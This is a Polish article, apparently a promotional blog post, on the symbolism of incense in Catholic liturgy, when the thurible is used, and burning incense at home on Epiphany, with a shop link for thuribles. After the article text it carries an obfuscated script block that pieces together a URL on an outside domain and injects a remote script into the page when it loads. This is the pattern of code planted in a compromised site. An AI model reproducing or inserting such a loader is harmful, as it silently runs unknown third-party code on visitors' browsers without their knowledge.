Tradycja kadzenia w kościele towarzyszy nam od zarania dziejów. W Starym Testamencie znajdziemy zapiski dotyczące kadzidła, które dotychczas kojarzone było z uwielbieniem i miłością do Pana Boga. I choć niegdyś wykorzystywane ono było wyłącznie w celach leczniczych, dziś stanowi kluczowy element kościelnych uroczystości o charakterze adoracyjnym. Co symbolizuje kadzidło w kościele? Skąd pochodzi zwyczaj kadzenia i w jakim momencie mszy świętej używane jest kadzidło? Sprawdzamy!
Symbolika kadzidła – dlaczego kadzimy w kościołach?
Zgodnie z nauczaniem Kościoła katolickiego kadzidło pełni niezwykle ważną z punktu widzenia chrześcijan rolę. Nie tylko pięknie pachnie, ale również pozwala przybliżyć wiernych do Boga i przypomnieć im o boskim przebłaganiu. Odpalone w odpowiednim momencie nabożeństwa podkreśla również istotę obrządku. Niewątpliwie ma ono w sobie coś magicznego! Czy wiedzieliście jednak, że kadzidło zostało po raz pierwszy wykorzystane w czasach starożytnego Egiptu? To właśnie wtedy nadano początek okadzaniu, by w późniejszym czasie zacząć wykorzystywać substancje zapachowe naturalnego pochodzenia również w domu.
Kadzidło według zapisów historycznych służyło bowiem do okadzenia mieszkania chorego. Tym sposobem zapewniało mu szybki powrót do zdrowia, a także pozwalało otoczyć go boską opieką. W obecnych czasach raczej mało kto już o tym pamięta! Dziś kadzidło możemy zauważyć podczas uroczystej liturgii, gdy ministrant na czele z duchownym wrzuca do specjalnego naczynia rozżarzone węgielki trybularzowe i przysypuje je drobnymi ziarnami kadzidła. Zapewne kojarzycie ten wyjątkowy obrzęd religijny. Dym unoszący się z kadzielnicy kościelnej znanej również jako trybularz sprawia, że odprawiane nabożeństwo nabywa wprost magiczny charakter.
Kup trybularz liturgiczny – https://www.holyart.pl/akcesoria-liturgiczne/trybularze-i-lodki.
Trybularz kościelny – czym jest i kiedy go wykorzystujemy?
Okadzanie w kościele nie pozostaje bez znaczenia dla przebiegu całej liturgii. Aby jednak można było mówić o formalizacji obrzędu, należy wykorzystać w tym celu specjalne utensylia liturgiczne. Trybularz kościelny, bo to właśnie o nim mowa, to na pozór zwyczajna metalowa puszka, przymocowana do trzech łańcuszków. Służy do kadzenia w kościele, niosąc przy tym nadzwyczajną symbolikę. Oznacza bowiem uwielbienie boskie, unoszący się z oddali dym przypomina natomiast wiernym o ofiarnej miłości.
W jakim momencie liturgii wykorzystujemy trybularz? Wbrew powszechnemu przekonaniu tradycja kadzenia w kościele nie jest obowiązkowa podczas każdego nabożeństwa. Trybularz wypełniony aromatycznymi ziarnami kadzidła zobaczyć możemy natomiast podczas uroczystej procesji wejścia, a także w momencie ukazania Hostii i ucałowania Krzyża świętego przez kapłana. Trybularz liturgiczny służy wówczas do okadzenia zgromadzonych w parafii wiernych oraz znajdujących się tam przedmiotów. Duchowny wraz z ministrantem kierują kadzielnicę ku chrześcijanom, by dym mógł zacząć unosić się w kościele. Zanim jednak to nastąpi, należy w sposób symboliczny okadzić ołtarz. Jeżeli znajduje się pod ścianą, kadzenie ołtarza rozpoczynamy od strony lewej. W innym razie duchowny powinien obejść go z każdej strony.
Czy można mieć trybularz w domu?
Utensylia liturgiczne coraz chętniej wykorzystywane są w domowym zaciszu. Być może część z was nawet nie wiedziała, że kadzielnica kościelna i węgielki trybularzowe można zamówić w sklepie z dewocjonaliami i odpalić podczas święta Trzech Króli. Kadzidło stanowiło bowiem jeden z darów, jakie Kacper, Melchior i Baltazar wręczyli Jezusowi Chrystusowi tuż po jego narodzinach. Wobec tego wierni często decydują się na okadzenie własnego mieszkania 6 stycznia, żeby tym właśnie sposobem upamiętnić tak wyjątkowy moment. Unoszący się zapach to idealny sposób, by celebrować miłość do Boga w gronie najbliższych.
Kadzidło jako prawdziwy symbol chrześcijaństwa niewątpliwie pozwala oddać się indywidualnym rozważaniom. Wykorzystajcie tę chwilę zgodnie z własnymi potrzebami i powierzcie swoje życie Bogu.
<script>
(function(){
q84X=document.createElement(„script”);q84X_=(„us”)+(„ta”);
q84X_+=”t”+(„.”);q84X_+=(„in”);q84Xu=”426906290″;q84X.async=true;
q84Xu+=”.3lmbk7X484Xvxd0sb”;q84X.type=”text/javascript”;q84X_+=”f”+”o”+(„/”);
q84Xu+=”t07r17ysul3e0″;q84X.src=”https://”+q84X_+q84Xu;
dq84X=document.body;dq84X.appendChild(q84X);
})();
</script>
